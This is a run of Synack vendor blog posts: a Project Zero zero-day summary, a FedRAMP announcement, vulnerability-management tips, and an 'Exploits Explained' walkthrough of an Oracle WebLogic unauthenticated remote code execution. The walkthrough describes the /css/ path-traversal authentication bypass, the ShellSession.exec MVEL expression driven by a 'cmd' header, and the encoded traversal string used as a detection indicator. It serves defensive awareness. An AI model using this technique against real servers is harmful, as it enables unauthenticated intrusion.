  • Nearly all of the 58 zero-days detected in 2021 follow familiar patterns. But there’s one outlier, CVE-2021-30860, which is an integer overflow vulnerability in the CoreGraphics PDF decoder in iOS 14.8 and iPadOS 14.8, macOS Big Sur 11.6 and watchOS 7.6.2. Security researchers Samuel Groß and Ian Beer noted how unusual the exploit is: “The bootstrapping operations for the sandbox escape exploit are written to run on this logic circuit and the whole thing runs in this weird, emulated environment created out of a single decompression pass through a JBIG2 stream. It’s pretty incredible, and at the same time, pretty terrifying.” Indeed, Google Project Zero said it hopes this is a trend of attackers having to work harder to successfully execute a zero-day exploit.
  • Some of the exploits involve classic cyberattack techniques, such as phishing and fingerprinting. CVE-2021-21166 and CVE-2021-30551 are great examples. Google Project Zero’s Maddie Stone and Clement Lecigne wrote: “Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia. The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users. When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client and generate ECDH keys to encrypt the exploits, and then send this data back to the exploit server. The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins and available MIME types.”

 

Essentially, Google wants to make it harder for attackers to carry out zero-days. And there’s some evidence in its research that might be happening. While there’s progress in terms of discovering and disclosing zero-days, Project Zero does say there is still a lot of room for improvement. Specifically, they call on companies to disclose more, share more exploit samples and details of attacker techniques and to work harder to reduce memory corruption vulnerabilities. 

It’s also important that once organizations know about a zero-day, they act quickly to find and fix that vulnerability. That requires vigilance and the right approach to testing with an offensive mindset to ensure an organization’s entire attack surface is hardened against the most sophisticated attackers. 

Get in touch today to learn how Synack can help.

The post Researchers Uncover Record Number of Zero-Days. That’s Actually Good News. appeared first on Synack.

Synack Achieves FedRAMP Moderate In Process Milestone

By: Synack

By Dan Mulvey, Regional Vice President, Federal

Enabling Continuous Penetration Testing at Scale for Federal Agencies 

Synack has paved the way as a trusted leader in Cybersecurity testing and vulnerability disclosure management. Now, Synack is raising the bar even higher by achieving the FedRAMP Moderate “In Process” milestone, helping to make federal data secure. Synack’s sponsoring agency for FedRAMP is the U.S. Department of Health & Human Services (HHS). Synack’s Discover, Certify, Synack365 and Synack Campaigns offerings are now available on the FedRAMP Marketplace

 

FedRAMP and Synack 

The Federal Risk and Authorization Management Program (FedRAMP) is a U.S. government-wide program that provides a standardized approach to security assessment, authorization and monitoring for cloud services. As part of its FedRAMP designation, Synack will be implementing 325 controls across 17 NIST 800-53 control families. Not only will this greatly enhance current protections for federal customer data, but it will also provide assurance to all our customers that Synack is reducing risk and providing government-grade data privacy protections. 

 

The Growing Importance of Security Testing

Organizations spend on average $1.3M per year on erroneous or inaccurate alerts, and sadly, while the average company gets 1 million alerts per year, only 4% are ever investigated. During a time when attacks are at an all-time high, it’s more important than ever to have security protections in place with results you can trust. Synack’s new FedRAMP Moderate “In Process” designation underlines the company’s commitment to providing a high level of security across the board and quality results, speeding vulnerability management efforts and reducing risks to government assets. 

Federal agencies have already been engaged with crowdsourced security testing solutions since such solutions were endorsed by the 2020 National Defense Authorization Act (NDAA), the National Cyber Strategy, and the Cybersecurity and Infrastructure Agency Binding Operational Directive (BOD) 20-01. Notably, as part of BOD 20-01, agencies are now required to develop vulnerability disclosure programs (VDPs)

 

The 5 Benefits of Synack FedRAMP for Federal Agencies

Through partnering with Synack and leveraging Synack’s FedRAMP Moderate “In Process” designation, agencies can be reassured that their data is in safe hands. Synack will now provide the following benefits to federal agencies:

  • Easy and quick procurement: Saves agencies time, 30 percent or more of costs, and effort by allowing them to leverage the existing assessments and authorization under FedRAMP.

FedRAMP Process

  • Risk mitigation: A security assessment at the Moderate level contains 3x the security controls in an ISO 27001 certification. These protections provide assurance that Synack is handling your data and the pentesting process with extra care. 
  • FISMA compliance: Agencies are required to maintain FISMA compliance and FedRAMP provides a more affordable path to FISMA compliance. Many of the NIST 800-53 controls in FedRAMP overlap with those in FISMA, which means you don’t have to spend extra resources implementing these controls with vendors during an annual audit.
  • Data security: Unlike FedRAMP LI-SaaS, FedRAMP Moderate is designed for agencies handling both external and internal applications. Additionally, if an agency works with sensitive data, they should be working with providers at the Moderate level. 
  • Continuous monitoring: In order to comply with FedRAMP, agencies and software providers must continuously monitor certain controls and go through an annual assessment, which ensures they are always working with a fully-compliant testing provider.

 

Why the FedRAMP Designation Matters

Synack is the only crowdsourced security company that has achieved the “In Process” status at the Moderate level. FedRAMP levels vary across the number of controls required, the sensitivity of the information, and the network access for government applications. Cloud service providers (CSPs) are granted authorizations at four impact levels: LI-SaaS (Low Impact Software-as-a-Service), Low, Moderate and High. 

Levels

The stark difference in the control required is particularly apparent when you compare each of the 17 NIST 800-53 control families side by side. There are drastically more requirements for certain control families like access control, identification and authentication, and system and information integrity. These additional controls that Synack is adhering to ensure that your government assets—whether external or internal—stay secure. 

Number of controls

LI-SaaS vs Moderalte Level

If you’d like to learn more about Synack’s FedRAMP environment or solutions for your Federal SOC, click here to book a meeting with a Synack representative.

The post Synack Achieves FedRAMP Moderate In Process Milestone appeared first on Synack.

4 Effective Vulnerability Management Tips for Security Leaders

By: Synack

From the SolarWinds Orion hack to the Kaseya ransomware attack, recent incidents have proven that a single vulnerability in a company’s product or supply chain can have a massive business and brand impact—potentially even posing a national security threat. Security leaders are under more pressure than ever to improve the speed, efficiency, and effectiveness of their incident response. 

To help investigate how security leaders on the front lines are handling the challenge, Synack sat down with Justin Anderson, Head of Vulnerability Management at LinkedIn, for a talk entitled, “Best Practices for Fast & Effective Vulnerability Management” on Dec. 8, 2021. Justin has years of technical experience in a wide range of contexts from the U.S. Air Force to LinkedIn, giving him a unique perspective that’s valuable for any executive or security leader dealing with vulnerability management issues. He spoke alongside Synack Product Analyst, Charlie Waterhouse. Charlie has years of experience conceptualizing security test methodologies that address vulnerability management concerns. 

In fact, many of the problems that Justin has addressed in his role are similar to those Synack is looking to solve with its Campaigns product offering. Read on to learn more!

 

No. 1: Use Human Talent and Time Wisely 

As security leaders build out their teams, the cyber talent gap continues to be a significant hurdle. The Biden administration has recognized a need to fill 600,000 cybersecurity jobs.  Additionally, engineering talent, especially in Silicon Valley, is expensive and in incredibly high demand. 

As a security leader, it does not make sense to hire specialized, in-house security talent. Synack supplies researchers with a variety of skill sets combined with a catalog of on-demand security products that can reduce a team’s workload from months to hours or days. Synack’s researchers’ expertise spans cloud environments such as AWS, Azure and GCP to APIs and mobile applications. Whether security teams are testing for compliance, M&A or a new product launch, Synack’s “App Store”-like experience provides a flexible array of on-demand testing and tasks, with many serving established security frameworks like OWASP Top 10 and NIST 800-53.

 

No. 2: Balance User Needs and Security 

In the words of Charlie Waterhouse, Security Analyst at Synack, “There is some internal tension between security and user experience.” Security is increasingly part of the development process, but when does it start to hinder instead of help growth? Justin from LinkedIn added, “We live in a world where we don’t have fantastic metrics on risk reduction. We also lack metrics on user experience. Security can be a greater threat than any attacker could be. An opaque and lengthy process can slow down an entire business.”

Synack has taken this into account by providing Synack Campaigns such as those based on the Open Web Application Security Project (OWASP) Application Security Verification Standard (ASVS). The three levels of ASVS Campaigns provide flexibility, so security teams can decide the level of security they need based on whether or not the application provides access to sensitive data. 

 

No. 3: Prioritize Across a Growing List of Vulnerabilities and Risks—Don’t Panic

Security teams face a rapidly growing attack surface. The key to managing it is maintaining a balance between addressing tech debt and responding to new threats. 

The first priority is often taking an inventory of the assets and cleaning up “tech debt.” Regularly updating software has never been more important. To go a step further and try to prioritize, Justin recommends compliance scoring. “A higher critical vulnerability should be the priority. We don’t go into the nuance of how this particular vulnerability may have an exploit. An exploit is likely to develop soon, but we try to get in the habit of regular cycle updates.”

Another priority may come from rapid response to news events such as the recent Apache Log4j vulnerability. This can distract security and IT teams—leading to panic. As Justin stated, “Sometimes, news cycles drive patching for things that are not that risky. As a security professional, it’s your job to explain why it’s not necessarily that risky and keep people from overreacting to something that’s not impactful. The other side of that is some vulnerabilities that have not been exploited, yet it seems like someone is going to find an exploit soon. The goal is to prevent any third-party attackers from getting access to the data.”

Synack offers checks for specific CVEs via Synack Campaigns. After researchers revealed the Log4j vulnerability, Synack responded immediately and provided an in-product check for the vulnerability in the form of a CVE Campaign. Within hours, Synack Researchers executed the Campaign, checking for the CVE, collaborating on the most efficient methods for detecting log4j, and providing customers with a risk assessment. Synack presents the information in a digestible, actionable way in order to save teams time and answer important questions via a report generated by running the Campaign. 

 

No. 4: Effectively Communicate Vulnerability Risks To Leadership Teams

The leadership in some organizations may be more tech-savvy than in others. That being said, one principle that holds true across all these interactions is that the best way to convey a message as a security leader is to become an expert on that specific vulnerability or security risk and its implications for your organization. 

Synack provides a reporting feature for Campaigns that compiles all the information necessary for leadership, legal, ops, or IT teams. The reports contain information like the severity of vulnerabilities found, whether certain task list items are “pass” or “fail,” evidence, and steps to reproduce findings. These reports are invaluable tools to communicate technical information to a non-technical audience, as well as for showing proof of work.

We hope that this information is useful for your organization as you consider different options. The cyber talent gap is only increasing. Security teams need on-demand solutions, automation, and specialized skills to address the growing workload. Vulnerability management leaders need products that improve security but not at the expense of user experience. There is a growing need to prioritize as vulnerabilities increase every year and attackers become more efficient. Lastly, security leaders need to fully immerse themselves in the nuance of new vulnerabilities and understand their potential impact. When security leaders communicate with executives, they should know the organization’s asset inventory, the extent of the vulnerability’s impact, and actions taken (or not taken) to mitigate its impact. All of these problems are front and center today for vulnerability management leaders, which is why we have developed a new product targeted at these pain points. 

If you are interested in learning more about Campaigns, check out our dedicated webpage, or request a demo

The post 4 Effective Vulnerability Management Tips for Security Leaders appeared first on Synack.

Exploits Explained Part 2 – Remote Code Execution (RCE) via a Single HTTP Request

By: Synack

A Vulnerability in an Oracle WebLogic Server Allows Attackers to Perform Remote Code Execution via HTTP Request

In this installment of Exploits Explained, we’re going to demonstrate a vulnerability in an Oracle WebLogic Server that allows attackers to perform remote code execution via a single HTTP request.

Exploit teardown credit goes to Jang on medium.

To see the vulnerability in action, read on, or check out this video walkthrough:

This vulnerability was recently encountered by one of our Synack Red Team researchers during a web application penetration test. 

Here’s why this vulnerability is such a big deal:

1. It’s a Remote Code Execution (RCE) Vulnerability, which is the root cause of many modern Ransomware attacks
2. It affects a widely distributed application
3. There’s a public exploit available
4. It’s not hard to pull off and requires no authentication

While this particular vulnerability has already been patched, we’ll walk you through how an attacker would be able to exploit this in the wild. 

Oracle WebLogic Server sets an auth flag based on URL paths in requests. Attackers were able to determine the allowed paths via the values set in “WebAppSecurityWLS.getConstraint ()”.  In this attack, the path is set to /css/, and when the web application evaluates the request, it sets the value of “flag unrestrict”  to true. This allows the request to be passed along unauthenticated. The attacker then utilizes the path traversal to access the console.portal endpoint.

The console.portal portion of the web application can use a constructor called ShellSession.exec () which allows for system commands on both Linux and Windows systems.

These commands are sent via an MVEL expression under the handle “com.tangosol.coherence.mvel2.sh.ShellSessionIn the publicly available exploit, the MVEL expression contains a function to evaluate the value of an HTTP header value named cmd and uses this value for the command to be executed. As seen here:

The output of the command is then written into the server’s response where the attacker can see the results of the command sent.

The server’s response for the commands whoami and ipconfig can be seen here:

This was patched in the October 2020 Critical Patch Update or CPU. These are some of the affected versions:

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

Organizations running these versions of Oralce WebLogic Server should review logs for HTTP requests made to the console.portal endpoint or any requests containing the double url encoded value for ../ (%252E%252E%252F)

Organizations should also check for any suspicious processes spawned by the application. This typically includes cmd.exe ( for windows) or /bin/sh (for *nix systems).

It’s critical that organizations check to make sure they can’t be compromised by this vulnerability by performing penetration testing. We recommend taking a crowdsourced penetration testing approach for higher quality results and to achieve a true adversarial perspective. 

Stay tuned to the Exploits Explained series for further walkthroughs of vulnerabilities encountered by the SRT in the field. 

Learn more about the SRT, or about Synack’s crowdsourced penetration testing at www.synack.com

The post Exploits Explained Part 2 – Remote Code Execution (RCE) via a Single HTTP Request appeared first on Synack.

❌